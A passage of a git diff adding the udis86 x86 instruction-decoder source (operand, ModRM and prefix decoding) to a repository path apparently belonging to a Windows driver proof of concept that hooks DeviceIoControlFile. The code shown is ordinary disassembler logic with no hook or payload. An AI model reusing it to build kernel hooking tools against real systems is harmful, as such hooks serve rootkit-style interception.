+ goto found_entry; + } + } + + /* get top-level table */ + if ( 0x0F == curr ) { + table = ITAB__0F; + curr = inp_next(u); + if ( u->error ) + return -1; + + /* 2byte opcodes can be modified by 0x66, F3, and F2 prefixes */ + if ( 0x66 == u->pfx_insn ) { + if ( ud_itab_list[ ITAB__PFX_SSE66__0F ][ curr ].mnemonic != UD_Iinvalid ) { + table = ITAB__PFX_SSE66__0F; + u->pfx_opr = 0; + } + } else if ( 0xF2 == u->pfx_insn ) { + if ( ud_itab_list[ ITAB__PFX_SSEF2__0F ][ curr ].mnemonic != UD_Iinvalid ) { + table = ITAB__PFX_SSEF2__0F; + u->pfx_repne = 0; + } + } else if ( 0xF3 == u->pfx_insn ) { + if ( ud_itab_list[ ITAB__PFX_SSEF3__0F ][ curr ].mnemonic != UD_Iinvalid ) { + table = ITAB__PFX_SSEF3__0F; + u->pfx_repe = 0; + u->pfx_rep = 0; + } + } + /* pick an instruction from the 1byte table */ + } else { + table = ITAB__1BYTE; + } + + index = curr; + +search: + + e = & ud_itab_list[ table ][ index ]; + + /* if mnemonic constant is a standard instruction constant + * our search is over. + */ + + if ( e->mnemonic < UD_Id3vil ) { + if ( e->mnemonic == UD_Iinvalid ) { + if ( did_peek ) { + inp_next( u ); if ( u->error ) return -1; + } + goto found_entry; + } + goto found_entry; + } + + table = e->prefix; + + switch ( e->mnemonic ) + { + case UD_Igrp_reg: + peek = inp_peek( u ); + did_peek = 1; + index = MODRM_REG( peek ); + break; + + case UD_Igrp_mod: + peek = inp_peek( u ); + did_peek = 1; + index = MODRM_MOD( peek ); + if ( index == 3 ) + index = ITAB__MOD_INDX__11; + else + index = ITAB__MOD_INDX__NOT_11; + break; + + case UD_Igrp_rm: + curr = inp_next( u ); + did_peek = 0; + if ( u->error ) + return -1; + index = MODRM_RM( curr ); + break; + + case UD_Igrp_x87: + curr = inp_next( u ); + did_peek = 0; + if ( u->error ) + return -1; + index = curr - 0xC0; + break; + + case UD_Igrp_osize: + if ( u->opr_mode == 64 ) + index = ITAB__MODE_INDX__64; + else if ( u->opr_mode == 32 ) + index = ITAB__MODE_INDX__32; + else + index = ITAB__MODE_INDX__16; + break; + + case UD_Igrp_asize: + if ( u->adr_mode == 64 ) + index = ITAB__MODE_INDX__64; + else if ( u->adr_mode == 32 ) + index = ITAB__MODE_INDX__32; + else + index = ITAB__MODE_INDX__16; + break; + + case UD_Igrp_mode: + if ( u->dis_mode == 64 ) + index = ITAB__MODE_INDX__64; + else if ( u->dis_mode == 32 ) + index = ITAB__MODE_INDX__32; + else + index = ITAB__MODE_INDX__16; + break; + + case UD_Igrp_vendor: + if ( u->vendor == UD_VENDOR_INTEL ) + index = ITAB__VENDOR_INDX__INTEL; + else if ( u->vendor == UD_VENDOR_AMD ) + index = ITAB__VENDOR_INDX__AMD; + else + assert( !"unrecognized vendor id" ); + break; + + case UD_Id3vil: + assert( !"invalid instruction mnemonic constant Id3vil" ); + break; + + default: + assert( !"invalid instruction mnemonic constant" ); + break; + } + + goto search; + +found_entry: + + u->itab_entry = e; + u->mnemonic = u->itab_entry->mnemonic; + + return 0; +} + + +static unsigned int resolve_operand_size( const struct ud * u, unsigned int s ) +{ + switch ( s ) + { + case SZ_V: + return ( u->opr_mode ); + case SZ_Z: + return ( u->opr_mode == 16 ) ? 16 : 32; + case SZ_P: + return ( u->opr_mode == 16 ) ? SZ_WP : SZ_DP; + case SZ_MDQ: + return ( u->opr_mode == 16 ) ? 32 : u->opr_mode; + case SZ_RDQ: + return ( u->dis_mode == 64 ) ? 64 : 32; + default: + return s; + } +} + + +static int resolve_mnemonic( struct ud* u ) +{ + /* far/near flags */ + u->br_far = 0; + u->br_near = 0; + /* readjust operand sizes for call/jmp instrcutions */ + if ( u->mnemonic == UD_Icall || u->mnemonic == UD_Ijmp ) { + /* WP: 16bit pointer */ + if ( u->operand[ 0 ].size == SZ_WP ) { + u->operand[ 0 ].size = 16; + u->br_far = 1; + u->br_near= 0; + /* DP: 32bit pointer */ + } else if ( u->operand[ 0 ].size == SZ_DP ) { + u->operand[ 0 ].size = 32; + u->br_far = 1; + u->br_near= 0; + } else { + u->br_far = 0; + u->br_near= 1; + } + /* resolve 3dnow weirdness. */ + } else if ( u->mnemonic == UD_I3dnow ) { + u->mnemonic = ud_itab_list[ ITAB__3DNOW ][ inp_curr( u ) ].mnemonic; + } + /* SWAPGS is only valid in 64bits mode */ + if ( u->mnemonic == UD_Iswapgs && u->dis_mode != 64 ) { + u->error = 1; + return -1; + } + + return 0; +} + + +/* ----------------------------------------------------------------------------- + * decode_a()- Decodes operands of the type seg:offset + * ----------------------------------------------------------------------------- + */ +static void +decode_a(struct ud* u, struct ud_operand *op) +{ + if (u->opr_mode == 16) { + /* seg16:off16 */ + op->type = UD_OP_PTR; + op->size = 32; + op->lval.ptr.off = inp_uint16(u); + op->lval.ptr.seg = inp_uint16(u); + } else { + /* seg16:off32 */ + op->type = UD_OP_PTR; + op->size = 48; + op->lval.ptr.off = inp_uint32(u); + op->lval.ptr.seg = inp_uint16(u); + } +} + +/* ----------------------------------------------------------------------------- + * decode_gpr() - Returns decoded General Purpose Register + * ----------------------------------------------------------------------------- + */ +static enum ud_type +decode_gpr(register struct ud* u, unsigned int s, unsigned char rm) +{ + s = resolve_operand_size(u, s); + + switch (s) { + case 64: + return UD_R_RAX + rm; + case SZ_DP: + case 32: + return UD_R_EAX + rm; + case SZ_WP: + case 16: + return UD_R_AX + rm; + case 8: + if (u->dis_mode == 64 && u->pfx_rex) { + if (rm >= 4) + return UD_R_SPL + (rm-4); + return UD_R_AL + rm; + } else return UD_R_AL + rm; + default: + return 0; + } +} + +/* ----------------------------------------------------------------------------- + * resolve_gpr64() - 64bit General Purpose Register-Selection. + * ----------------------------------------------------------------------------- + */ +static enum ud_type +resolve_gpr64(struct ud* u, enum ud_operand_code gpr_op) +{ + if (gpr_op >= OP_rAXr8 && gpr_op <= OP_rDIr15) + gpr_op = (gpr_op - OP_rAXr8) | (REX_B(u->pfx_rex) << 3); + else gpr_op = (gpr_op - OP_rAX); + + if (u->opr_mode == 16) + return gpr_op + UD_R_AX; + if (u->dis_mode == 32 || + (u->opr_mode == 32 && ! (REX_W(u->pfx_rex) || u->default64))) { + return gpr_op + UD_R_EAX; + } + + return gpr_op + UD_R_RAX; +} + +/* ----------------------------------------------------------------------------- + * resolve_gpr32 () - 32bit General Purpose Register-Selection. + * ----------------------------------------------------------------------------- + */ +static enum ud_type +resolve_gpr32(struct ud* u, enum ud_operand_code gpr_op) +{ + gpr_op = gpr_op - OP_eAX; + + if (u->opr_mode == 16) + return gpr_op + UD_R_AX; + + return gpr_op + UD_R_EAX; +} + +/* ----------------------------------------------------------------------------- + * resolve_reg() - Resolves the register type + * ----------------------------------------------------------------------------- + */ +static enum ud_type +resolve_reg(struct ud* u, unsigned int type, unsigned char i) +{ + switch (type) { + case T_MMX : return UD_R_MM0 + (i & 7); + case T_XMM : return UD_R_XMM0 + i; + case T_CRG : return UD_R_CR0 + i; + case T_DBG : return UD_R_DR0 + i; + case T_SEG : return UD_R_ES + (i & 7); + case T_NONE: + default: return UD_NONE; + } +} + +/* ----------------------------------------------------------------------------- + * decode_imm() - Decodes Immediate values. + * ----------------------------------------------------------------------------- + */ +static void +decode_imm(struct ud* u, unsigned int s, struct ud_operand *op) +{ + op->size = resolve_operand_size(u, s); + op->type = UD_OP_IMM; + + switch (op->size) { + case 8: op->lval.sbyte = inp_uint8(u); break; + case 16: op->lval.uword = inp_uint16(u); break; + case 32: op->lval.udword = inp_uint32(u); break; + case 64: op->lval.uqword = inp_uint64(u); break; + default: return; + } +} + +/* ----------------------------------------------------------------------------- + * decode_modrm() - Decodes ModRM Byte + * ----------------------------------------------------------------------------- + */ +static void +decode_modrm(struct ud* u, struct ud_operand *op, unsigned int s, + unsigned char rm_type, struct ud_operand *opreg, + unsigned char reg_size, unsigned char reg_type) +{ + unsigned char mod, rm, reg; + + inp_next(u); + + /* get mod, r/m and reg fields */ + mod = MODRM_MOD(inp_curr(u)); + rm = (REX_B(u->pfx_rex) << 3) | MODRM_RM(inp_curr(u)); + reg = (REX_R(u->pfx_rex) << 3) | MODRM_REG(inp_curr(u)); + + op->size = resolve_operand_size(u, s); + + /* if mod is 11b, then the UD_R_m specifies a gpr/mmx/sse/control/debug */ + if (mod == 3) { + op->type = UD_OP_REG; + if (rm_type == T_GPR) + op->base = decode_gpr(u, op->size, rm); + else op->base = resolve_reg(u, rm_type, (REX_B(u->pfx_rex) << 3) | (rm&7)); + } + /* else its memory addressing */ + else { + op->type = UD_OP_MEM; + + /* 64bit addressing */ + if (u->adr_mode == 64) { + + op->base = UD_R_RAX + rm; + + /* get offset type */ + if (mod == 1) + op->offset = 8; + else if (mod == 2) + op->offset = 32; + else if (mod == 0 && (rm & 7) == 5) { + op->base = UD_R_RIP; + op->offset = 32; + } else op->offset = 0; + + /* Scale-Index-Base (SIB) */ + if ((rm & 7) == 4) { + inp_next(u); + + op->scale = (1 << SIB_S(inp_curr(u))) & ~1; + op->index = UD_R_RAX + (SIB_I(inp_curr(u)) | (REX_X(u->pfx_rex) << 3)); + op->base = UD_R_RAX + (SIB_B(inp_curr(u)) | (REX_B(u->pfx_rex) << 3)); + + /* special conditions for base reference */ + if (op->index == UD_R_RSP) { + op->index = UD_NONE; + op->scale = UD_NONE; + } + + if (op->base == UD_R_RBP || op->base == UD_R_R13) { + if (mod == 0) + op->base = UD_NONE; + if (mod == 1) + op->offset = 8; + else op->offset = 32; + } + } + } + + /* 32-Bit addressing mode */ + else if (u->adr_mode == 32) { + + /* get base */ + op->base = UD_R_EAX + rm; + + /* get offset type */ + if (mod == 1) + op->offset = 8; + else if (mod == 2) + op->offset = 32; + else if (mod == 0 && rm == 5) { + op->base = UD_NONE; + op->offset = 32; + } else op->offset = 0; + + /* Scale-Index-Base (SIB) */ + if ((rm & 7) == 4) { + inp_next(u); + + op->scale = (1 << SIB_S(inp_curr(u))) & ~1; + op->index = UD_R_EAX + (SIB_I(inp_curr(u)) | (REX_X(u->pfx_rex) << 3)); + op->base = UD_R_EAX + (SIB_B(inp_curr(u)) | (REX_B(u->pfx_rex) << 3)); + + if (op->index == UD_R_ESP) { + op->index = UD_NONE; + op->scale = UD_NONE; + } + + /* special condition for base reference */ + if (op->base == UD_R_EBP) { + if (mod == 0) + op->base = UD_NONE; + if (mod == 1) + op->offset = 8; + else op->offset = 32; + } + } + } + + /* 16bit addressing mode */ + else { + switch (rm) { + case 0: op->base = UD_R_BX; op->index = UD_R_SI; break; + case 1: op->base = UD_R_BX; op->index = UD_R_DI; break; + case 2: op->base = UD_R_BP; op->index = UD_R_SI; break; + case 3: op->base = UD_R_BP; op->index = UD_R_DI; break; + case 4: op->base = UD_R_SI; break; + case 5: op->base = UD_R_DI; break; + case 6: op->base = UD_R_BP; break; + case 7: op->base = UD_R_BX; break; + } + + if (mod == 0 && rm == 6) { + op->offset= 16; + op->base = UD_NONE; + } + else if (mod == 1) + op->offset = 8; + else if (mod == 2) + op->offset = 16; + } + } + + /* extract offset, if any */ + switch(op->offset) { + case 8 : op->lval.ubyte = inp_uint8(u); break; + case 16: op->lval.uword = inp_uint16(u); break; + case 32: op->lval.udword = inp_uint32(u); break; + case 64: op->lval.uqword = inp_uint64(u); break; + default: break; + } + + /* resolve register encoded in reg field */ + if (opreg) { + opreg->type = UD_OP_REG; + opreg->size = resolve_operand_size(u, reg_size); + if (reg_type == T_GPR) + opreg->base = decode_gpr(u, opreg->size, reg); + else opreg->base = resolve_reg(u, reg_type, reg); + } +} + +/* ----------------------------------------------------------------------------- + * decode_o() - Decodes offset + * ----------------------------------------------------------------------------- + */ +static void +decode_o(struct ud* u, unsigned int s, struct ud_operand *op) +{ + switch (u->adr_mode) { + case 64: + op->offset = 64; + op->lval.uqword = inp_uint64(u); + break; + case 32: + op->offset = 32; + op->lval.udword = inp_uint32(u); + break; + case 16: + op->offset = 16; + op->lval.uword = inp_uint16(u); + break; + default: + return; + } + op->type = UD_OP_MEM; + op->size = resolve_operand_size(u, s); +} + +/* ----------------------------------------------------------------------------- + * disasm_operands() - Disassembles Operands. + * ----------------------------------------------------------------------------- + */ +static int disasm_operands(register struct ud* u) +{ + + + /* mopXt = map entry, operand X, type; */ + enum ud_operand_code mop1t = u->itab_entry->operand1.type; + enum ud_operand_code mop2t = u->itab_entry->operand2.type; + enum ud_operand_code mop3t = u->itab_entry->operand3.type; + + /* mopXs = map entry, operand X, size */ + unsigned int mop1s = u->itab_entry->operand1.size; + unsigned int mop2s = u->itab_entry->operand2.size; + unsigned int mop3s = u->itab_entry->operand3.size; + + /* iop = instruction operand */ + register struct ud_operand* iop = u->operand; + + switch(mop1t) { + + case OP_A : + decode_a(u, &(iop[0])); + break; + + /* M[b] ... */ + case OP_M : + if (MODRM_MOD(inp_peek(u)) == 3) + u->error= 1; + /* E, G/P/V/I/CL/1/S */ + case OP_E : + if (mop2t == OP_G) { + decode_modrm(u, &(iop[0]), mop1s, T_GPR, &(iop[1]), mop2s, T_GPR); + if (mop3t == OP_I) + decode_imm(u, mop3s, &(iop[2])); + else if (mop3t == OP_CL) { + iop[2].type = UD_OP_REG; + iop[2].base = UD_R_CL; + iop[2].size = 8; + } + } + else if (mop2t == OP_P) + decode_modrm(u, &(iop[0]), mop1s, T_GPR, &(iop[1]), mop2s, T_MMX); + else if (mop2t == OP_V) + decode_modrm(u, &(iop[0]), mop1s, T_GPR, &(iop[1]), mop2s, T_XMM); + else if (mop2t == OP_S) + decode_modrm(u, &(iop[0]), mop1s, T_GPR, &(iop[1]), mop2s, T_SEG); + else { + decode_modrm(u, &(iop[0]), mop1s, T_GPR, NULL, 0, T_NONE); + if (mop2t == OP_CL) { + iop[1].type = UD_OP_REG; + iop[1].base = UD_R_CL; + iop[1].size = 8; + } else if (mop2t == OP_I1) { + iop[1].type = UD_OP_CONST; + u->operand[1].lval.udword = 1; + } else if (mop2t == OP_I) { + decode_imm(u, mop2s, &(iop[1])); + } + } + break; + + /* G, E/PR[,I]/VR */ + case OP_G : + if (mop2t == OP_M) { + if (MODRM_MOD(inp_peek(u)) == 3) + u->error= 1; + decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_GPR); + } else if (mop2t == OP_E) { + decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_GPR); + if (mop3t == OP_I) + decode_imm(u, mop3s, &(iop[2])); + } else if (mop2t == OP_PR) { + decode_modrm(u, &(iop[1]), mop2s, T_MMX, &(iop[0]), mop1s, T_GPR); + if (mop3t == OP_I) + decode_imm(u, mop3s, &(iop[2])); + } else if (mop2t == OP_VR) { + if (MODRM_MOD(inp_peek(u)) != 3) + u->error = 1; + decode_modrm(u, &(iop[1]), mop2s, T_XMM, &(iop[0]), mop1s, T_GPR); + } else if (mop2t == OP_W) + decode_modrm(u, &(iop[1]), mop2s, T_XMM, &(iop[0]), mop1s, T_GPR); + break; + + /* AL..BH, I/O/DX */ + case OP_AL : case OP_CL : case OP_DL : case OP_BL : + case OP_AH : case OP_CH : case OP_DH : case OP_BH : + + iop[0].type = UD_OP_REG; + iop[0].base = UD_R_AL + (mop1t - OP_AL); + iop[0].size = 8; + + if (mop2t == OP_I) + decode_imm(u, mop2s, &(iop[1])); + else if (mop2t == OP_DX) { + iop[1].type = UD_OP_REG; + iop[1].base = UD_R_DX; + iop[1].size = 16; + } + else if (mop2t == OP_O) + decode_o(u, mop2s, &(iop[1])); + break; + + /* rAX[r8]..rDI[r15], I/rAX..rDI/O */ + case OP_rAXr8 : case OP_rCXr9 : case OP_rDXr10 : case OP_rBXr11 : + case OP_rSPr12: case OP_rBPr13: case OP_rSIr14 : case OP_rDIr15 : + case OP_rAX : case OP_rCX : case OP_rDX : case OP_rBX : + case OP_rSP : case OP_rBP : case OP_rSI : case OP_rDI : + + iop[0].type = UD_OP_REG; + iop[0].base = resolve_gpr64(u, mop1t); + + if (mop2t == OP_I) + decode_imm(u, mop2s, &(iop[1])); + else if (mop2t >= OP_rAX && mop2t <= OP_rDI) { + iop[1].type = UD_OP_REG; + iop[1].base = resolve_gpr64(u, mop2t); + } + else if (mop2t == OP_O) { + decode_o(u, mop2s, &(iop[1])); + iop[0].size = resolve_operand_size(u, mop2s); + } + break; + + /* AL[r8b]..BH[r15b], I */ + case OP_ALr8b : case OP_CLr9b : case OP_DLr10b : case OP_BLr11b : + case OP_AHr12b: case OP_CHr13b: case OP_DHr14b : case OP_BHr15b : + { + ud_type_t gpr = (mop1t - OP_ALr8b) + UD_R_AL + + (REX_B(u->pfx_rex) << 3); + if (UD_R_AH <= gpr && u->pfx_rex) + gpr = gpr + 4; + iop[0].type = UD_OP_REG; + iop[0].base = gpr; + if (mop2t == OP_I) + decode_imm(u, mop2s, &(iop[1])); + break; + } + + /* eAX..eDX, DX/I */ + case OP_eAX : case OP_eCX : case OP_eDX : case OP_eBX : + case OP_eSP : case OP_eBP : case OP_eSI : case OP_eDI : + iop[0].type = UD_OP_REG; + iop[0].base = resolve_gpr32(u, mop1t); + if (mop2t == OP_DX) { + iop[1].type = UD_OP_REG; + iop[1].base = UD_R_DX; + iop[1].size = 16; + } else if (mop2t == OP_I) + decode_imm(u, mop2s, &(iop[1])); + break; + + /* ES..GS */ + case OP_ES : case OP_CS : case OP_DS : + case OP_SS : case OP_FS : case OP_GS : + + /* in 64bits mode, only fs and gs are allowed */ + if (u->dis_mode == 64) + if (mop1t != OP_FS && mop1t != OP_GS) + u->error= 1; + iop[0].type = UD_OP_REG; + iop[0].base = (mop1t - OP_ES) + UD_R_ES; + iop[0].size = 16; + + break; + + /* J */ + case OP_J : + decode_imm(u, mop1s, &(iop[0])); + iop[0].type = UD_OP_JIMM; + break ; + + /* PR, I */ + case OP_PR: + if (MODRM_MOD(inp_peek(u)) != 3) + u->error = 1; + decode_modrm(u, &(iop[0]), mop1s, T_MMX, NULL, 0, T_NONE); + if (mop2t == OP_I) + decode_imm(u, mop2s, &(iop[1])); + break; + + /* VR, I */ + case OP_VR: + if (MODRM_MOD(inp_peek(u)) != 3) + u->error = 1; + decode_modrm(u, &(iop[0]), mop1s, T_XMM, NULL, 0, T_NONE); + if (mop2t == OP_I) + decode_imm(u, mop2s, &(iop[1])); + break; + + /* P, Q[,I]/W/E[,I],VR */ + case OP_P : + if (mop2t == OP_Q) { + decode_modrm(u, &(iop[1]), mop2s, T_MMX, &(iop[0]), mop1s, T_MMX); + if (mop3t == OP_I) + decode_imm(u, mop3s, &(iop[2])); + } else if (mop2t == OP_W) { + decode_modrm(u, &(iop[1]), mop2s, T_XMM, &(iop[0]), mop1s, T_MMX); + } else if (mop2t == OP_VR) { + if (MODRM_MOD(inp_peek(u)) != 3) + u->error = 1; + decode_modrm(u, &(iop[1]), mop2s, T_XMM, &(iop[0]), mop1s, T_MMX); + } else if (mop2t == OP_E) { + decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_MMX); + if (mop3t == OP_I) + decode_imm(u, mop3s, &(iop[2])); + } + break; + + /* R, C/D */ + case OP_R : + if (mop2t == OP_C) + decode_modrm(u, &(iop[0]), mop1s, T_GPR, &(iop[1]), mop2s, T_CRG); + else if (mop2t == OP_D) + decode_modrm(u, &(iop[0]), mop1s, T_GPR, &(iop[1]), mop2s, T_DBG); + break; + + /* C, R */ + case OP_C : + decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_CRG); + break; + + /* D, R */ + case OP_D : + decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_DBG); + break; + + /* Q, P */ + case OP_Q : + decode_modrm(u, &(iop[0]), mop1s, T_MMX, &(iop[1]), mop2s, T_MMX); + break; + + /* S, E */ + case OP_S : + decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_SEG); + break; + + /* W, V */ + case OP_W : + decode_modrm(u, &(iop[0]), mop1s, T_XMM, &(iop[1]), mop2s, T_XMM); + break; + + /* V, W[,I]/Q/M/E */ + case OP_V : + if (mop2t == OP_W) { + /* special cases for movlps and movhps */ + if (MODRM_MOD(inp_peek(u)) == 3) { + if (u->mnemonic == UD_Imovlps) + u->mnemonic = UD_Imovhlps; + else + if (u->mnemonic == UD_Imovhps) + u->mnemonic = UD_Imovlhps; + } + decode_modrm(u, &(iop[1]), mop2s, T_XMM, &(iop[0]), mop1s, T_XMM); + if (mop3t == OP_I) + decode_imm(u, mop3s, &(iop[2])); + } else if (mop2t == OP_Q) + decode_modrm(u, &(iop[1]), mop2s, T_MMX, &(iop[0]), mop1s, T_XMM); + else if (mop2t == OP_M) { + if (MODRM_MOD(inp_peek(u)) == 3) + u->error= 1; + decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_XMM); + } else if (mop2t == OP_E) { + decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_XMM); + } else if (mop2t == OP_PR) { + decode_modrm(u, &(iop[1]), mop2s, T_MMX, &(iop[0]), mop1s, T_XMM); + } + break; + + /* DX, eAX/AL */ + case OP_DX : + iop[0].type = UD_OP_REG; + iop[0].base = UD_R_DX; + iop[0].size = 16; + + if (mop2t == OP_eAX) { + iop[1].type = UD_OP_REG; + iop[1].base = resolve_gpr32(u, mop2t); + } else if (mop2t == OP_AL) { + iop[1].type = UD_OP_REG; + iop[1].base = UD_R_AL; + iop[1].size = 8; + } + + break; + + /* I, I/AL/eAX */ + case OP_I : + decode_imm(u, mop1s, &(iop[0])); + if (mop2t == OP_I) + decode_imm(u, mop2s, &(iop[1])); + else if (mop2t == OP_AL) { + iop[1].type = UD_OP_REG; + iop[1].base = UD_R_AL; + iop[1].size = 16; + } else if (mop2t == OP_eAX) { + iop[1].type = UD_OP_REG; + iop[1].base = resolve_gpr32(u, mop2t); + } + break; + + /* O, AL/eAX */ + case OP_O : + decode_o(u, mop1s, &(iop[0])); + iop[1].type = UD_OP_REG; + iop[1].size = resolve_operand_size(u, mop1s); + if (mop2t == OP_AL) + iop[1].base = UD_R_AL; + else if (mop2t == OP_eAX) + iop[1].base = resolve_gpr32(u, mop2t); + else if (mop2t == OP_rAX) + iop[1].base = resolve_gpr64(u, mop2t); + break; + + /* 3 */ + case OP_I3 : + iop[0].type = UD_OP_CONST; + iop[0].lval.sbyte = 3; + break; + + /* ST(n), ST(n) */ + case OP_ST0 : case OP_ST1 : case OP_ST2 : case OP_ST3 : + case OP_ST4 : case OP_ST5 : case OP_ST6 : case OP_ST7 : + + iop[0].type = UD_OP_REG; + iop[0].base = (mop1t-OP_ST0) + UD_R_ST0; + iop[0].size = 0; + + if (mop2t >= OP_ST0 && mop2t <= OP_ST7) { + iop[1].type = UD_OP_REG; + iop[1].base = (mop2t-OP_ST0) + UD_R_ST0; + iop[1].size = 0; + } + break; + + /* AX */ + case OP_AX: + iop[0].type = UD_OP_REG; + iop[0].base = UD_R_AX; + iop[0].size = 16; + break; + + /* none */ + default : + iop[0].type = iop[1].type = iop[2].type = UD_NONE; + } + + return 0; +} + +/* ----------------------------------------------------------------------------- + * clear_insn() - clear instruction pointer + * ----------------------------------------------------------------------------- + */ +static int clear_insn(register struct ud* u) +{ + u->error = 0; + u->pfx_seg = 0; + u->pfx_opr = 0; + u->pfx_adr = 0; + u->pfx_lock = 0; + u->pfx_repne = 0; + u->pfx_rep = 0; + u->pfx_repe = 0; + u->pfx_seg = 0; + u->pfx_rex = 0; + u->pfx_insn = 0; + u->mnemonic = UD_Inone; + u->itab_entry = NULL; + + memset( &u->operand[ 0 ], 0, sizeof( struct ud_operand ) ); + memset( &u->operand[ 1 ], 0, sizeof( struct ud_operand ) ); + memset( &u->operand[ 2 ], 0, sizeof( struct ud_operand ) ); + + return 0; +} + +static int do_mode( struct ud* u ) +{ + /* if in error state, bail out */ + if ( u->error ) return -1; + + /* propagate perfix effects */ + if ( u->dis_mode == 64 ) { /* set 64bit-mode flags */ + + /* Check validity of instruction m64 */ + if ( P_INV64( u->itab_entry->prefix ) ) { + u->error = 1; + return -1; + } + + /* effective rex prefix is the effective mask for the + * instruction hard-coded in the opcode map. + */ + u->pfx_rex = ( u->pfx_rex & 0x40 ) | + ( u->pfx_rex & REX_PFX_MASK( u->itab_entry->prefix ) ); + + /* whether this instruction has a default operand size of + * 64bit, also hardcoded into the opcode map. + */ + u->default64 = P_DEF64( u->itab_entry->prefix ); + /* calculate effective operand size */ + if ( REX_W( u->pfx_rex ) ) { + u->opr_mode = 64; + } else if ( u->pfx_opr ) { + u->opr_mode = 16; + } else { + /* unless the default opr size of instruction is 64, + * the effective operand size in the absence of rex.w + * prefix is 32. + */ + u->opr_mode = ( u->default64 ) ? 64 : 32; + } + + /* calculate effective address size */ + u->adr_mode = (u->pfx_adr) ? 32 : 64; + } else if ( u->dis_mode == 32 ) { /* set 32bit-mode flags */ + u->opr_mode = ( u->pfx_opr ) ? 16 : 32; + u->adr_mode = ( u->pfx_adr ) ? 16 : 32; + } else if ( u->dis_mode == 16 ) { /* set 16bit-mode flags */ + u->opr_mode = ( u->pfx_opr ) ? 32 : 16; + u->adr_mode = ( u->pfx_adr ) ? 32 : 16; + } + + /* These flags determine which operand to apply the operand size + * cast to. + */ + u->c1 = ( P_C1( u->itab_entry->prefix ) ) ? 1 : 0; + u->c2 = ( P_C2( u->itab_entry->prefix ) ) ? 1 : 0; + u->c3 = ( P_C3( u->itab_entry->prefix ) ) ? 1 : 0; + + /* set flags for implicit addressing */ + u->implicit_addr = P_IMPADDR( u->itab_entry->prefix ); + + return 0; +} + +static int gen_hex( struct ud *u ) +{ + unsigned int i; + unsigned char *src_ptr = inp_sess( u ); + char* src_hex; + + /* bail out if in error stat. */ + if ( u->error ) return -1; + /* output buffer pointe */ + src_hex = ( char* ) u->insn_hexcode; + /* for each byte used to decode instruction */ + for ( i = 0; i < u->inp_ctr; ++i, ++src_ptr) { + //sprintf( src_hex, "%02x", *src_ptr & 0xFF ); + src_hex += 2; + } + return 0; +} + +/* ============================================================================= + * ud_decode() - Instruction decoder. Returns the number of bytes decoded. + * ============================================================================= + */ +unsigned int ud_decode( struct ud* u ) +{ + inp_start(u); + + if ( clear_insn( u ) ) { + ; /* error */ + } else if ( get_prefixes( u ) != 0 ) { + ; /* error */ + } else if ( search_itab( u ) != 0 ) { + ; /* error */ + } else if ( do_mode( u ) != 0 ) { + ; /* error */ + } else if ( disasm_operands( u ) != 0 ) { + ; /* error */ + } else if ( resolve_mnemonic( u ) != 0 ) { + ; /* error */ + } + + /* Handle decode error. */ + if ( u->error ) { + /* clear out the decode data. */ + clear_insn( u ); + /* mark the sequence of bytes as invalid. */ + u->itab_entry = & ie_invalid; + u->mnemonic = u->itab_entry->mnemonic; + } + + u->insn_offset = u->pc; /* set offset of instruction */ + u->insn_fill = 0; /* set translation buffer index to 0 */ + u->pc += u->inp_ctr; /* move program counter by bytes decoded */ + gen_hex( u ); /* generate hex code */ + + /* return number of bytes disassembled. */ + return u->inp_ctr; +} + +/* vim:cindent + * vim:ts=4 + * vim:sw=4 + * vim:expandtab + */ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/decode.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/decode.h new file mode 100644 index 00000000..3d620963 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/decode.h @@ -0,0 +1,275 @@ +#ifndef UD_DECODE_H +#define UD_DECODE_H + +#define MAX_INSN_LENGTH 15 + +/* register classes */ +#define T_NONE 0 +#define T_GPR 1 +#define T_MMX 2 +#define T_CRG 3 +#define T_DBG 4 +#define T_SEG 5 +#define T_XMM 6 + +/* itab prefix bits */ +#define P_none ( 0 ) +#define P_c1 ( 1 << 0 ) +#define P_C1(n) ( ( n >> 0 ) & 1 ) +#define P_rexb ( 1 << 1 ) +#define P_REXB(n) ( ( n >> 1 ) & 1 ) +#define P_depM ( 1 << 2 ) +#define P_DEPM(n) ( ( n >> 2 ) & 1 ) +#define P_c3 ( 1 << 3 ) +#define P_C3(n) ( ( n >> 3 ) & 1 ) +#define P_inv64 ( 1 << 4 ) +#define P_INV64(n) ( ( n >> 4 ) & 1 ) +#define P_rexw ( 1 << 5 ) +#define P_REXW(n) ( ( n >> 5 ) & 1 ) +#define P_c2 ( 1 << 6 ) +#define P_C2(n) ( ( n >> 6 ) & 1 ) +#define P_def64 ( 1 << 7 ) +#define P_DEF64(n) ( ( n >> 7 ) & 1 ) +#define P_rexr ( 1 << 8 ) +#define P_REXR(n) ( ( n >> 8 ) & 1 ) +#define P_oso ( 1 << 9 ) +#define P_OSO(n) ( ( n >> 9 ) & 1 ) +#define P_aso ( 1 << 10 ) +#define P_ASO(n) ( ( n >> 10 ) & 1 ) +#define P_rexx ( 1 << 11 ) +#define P_REXX(n) ( ( n >> 11 ) & 1 ) +#define P_ImpAddr ( 1 << 12 ) +#define P_IMPADDR(n) ( ( n >> 12 ) & 1 ) + +/* rex prefix bits */ +#define REX_W(r) ( ( 0xF & ( r ) ) >> 3 ) +#define REX_R(r) ( ( 0x7 & ( r ) ) >> 2 ) +#define REX_X(r) ( ( 0x3 & ( r ) ) >> 1 ) +#define REX_B(r) ( ( 0x1 & ( r ) ) >> 0 ) +#define REX_PFX_MASK(n) ( ( P_REXW(n) << 3 ) | \ + ( P_REXR(n) << 2 ) | \ + ( P_REXX(n) << 1 ) | \ + ( P_REXB(n) << 0 ) ) + +/* scable-index-base bits */ +#define SIB_S(b) ( ( b 